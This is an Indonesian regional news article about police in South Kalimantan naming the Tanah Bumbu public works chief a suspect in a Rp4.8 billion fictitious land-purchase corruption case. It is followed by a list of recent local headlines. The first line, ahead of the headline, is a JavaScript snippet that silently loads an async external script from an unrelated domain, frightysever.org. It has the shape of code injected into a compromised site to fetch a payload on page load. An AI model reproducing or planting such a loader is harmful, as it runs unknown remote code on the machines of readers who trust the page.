(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kadis PUPR Tanbu Tersangka Kasus Korupsi Pembelian Lahan Fiktif


KANALKALIMANTAN.COM, BANJARMASIN – Penyidik Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) menetapkan Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Tanah Bumbu HW sebagai tersangka kasus dugaan korupsi pembelian lahan fiktif di Kabupaten Tanah Bumbu.

Penetapan tersangka tersebut disampaikan oleh Kasubdit Tipidkor Ditreskrimsus, AKBP Fadli saat press rilis di halaman kantor Ditreskrimsus Polda Kalsel di Banjarmasin, Kamis (13/6/2024) siang.

“Menetapkan untuk sementara satu tersangka yaitu Kepala Dinas PUPR Tanah Bumbu dengan inisial HW,” kata AKBP Padli didampingi Kabid Humas Polda Kalsel Kombes Pol Adam.

AKBP Fadli menjelaskan, pengungkapan kasus dugaan korupsi tersebut berkaitan dengan proyek pengadaan lahan atau tanah untuk pembangunan kantor Kecamatan Simpang Empat, Kabupaten Tanah Bumbu pada tahun 2023.

Baca juga: Luas 3,7 Hektare, TPU Lintas Agama di Banjarbaru Diresmikan

Dimana kata AKBP Fadli, modus operandi yang dilakukan yaitu dengan cara membeli lahan untuk pembangunan kantor kecamatan seluas sekitar 5.000 meter persegi, namun lahan tersebut sebenarnya sudah memiliki bukti kepemilikan Pemkab Tanbu.

“Tanah ini sudah ada bukti kepemilikan Pemkab Tanah Bumbu, tetapi dibeli kembali dengan memunculkan sporadik baru,” kata AKBP Fadli.

Masih menurut AKBP Fadli, total kerugian negara pada kasus pengadaan lahan tersebut yaitu sebesar Rp4.876.000.000 bersumber dari APBD Dinas PUPR Kabupaten Tanbu tahun 2023.

“Kerugian keuangan negara sebanyak Rp4,8 miliar,” katanya.

Baca juga: Job Fair Kalsel 2024, Tersedia 1.000 Lowongan Pekerjaan

Penetapan tersangka menurut AKBP Fadli setelah penyidik menaikan kasus.dari tingkat penyelidikan ke tingkat penyidikan pada Januari 2024 dan dilakukan gelar perkara.

Sebelum penetapan tersangka, penyidik telah memeriksa dan memanggil saksi dari Dinas PUPR Tanbu hingga pejabat Pemerintah Kabupaten (Pemkab) Tanbu.

“Kami sudah memeriksa sebanyak 32 saksi. Kami juga menguatkan dengan memeriksa ahli dari agraria dan auditor, bahkan ahli pidana,” bebernya.

Saat press rilis, turut juga dihadirkan uang tunai sebesar Rp1.005.000.000 yang dijadikan barang bukti dan diduga kuat terkait dengan kasus pengadaan lahan tersebut.

Baca juga: Bus Rombongan Pembakal dari Kabupaten Banjar Terbakar di Tol Dalam Kota Jakarta

Tersangka HW kata AKBP Fadli saat ini oleh penyidik disangkakan dengan pasal 2 dan pasal 3 Undang-Undang Nomor 31 Tahun 1999 sebagaimana perubahan atas Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

10 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

11 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

11 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

13 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

14 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

14 jam ago

This website uses cookies.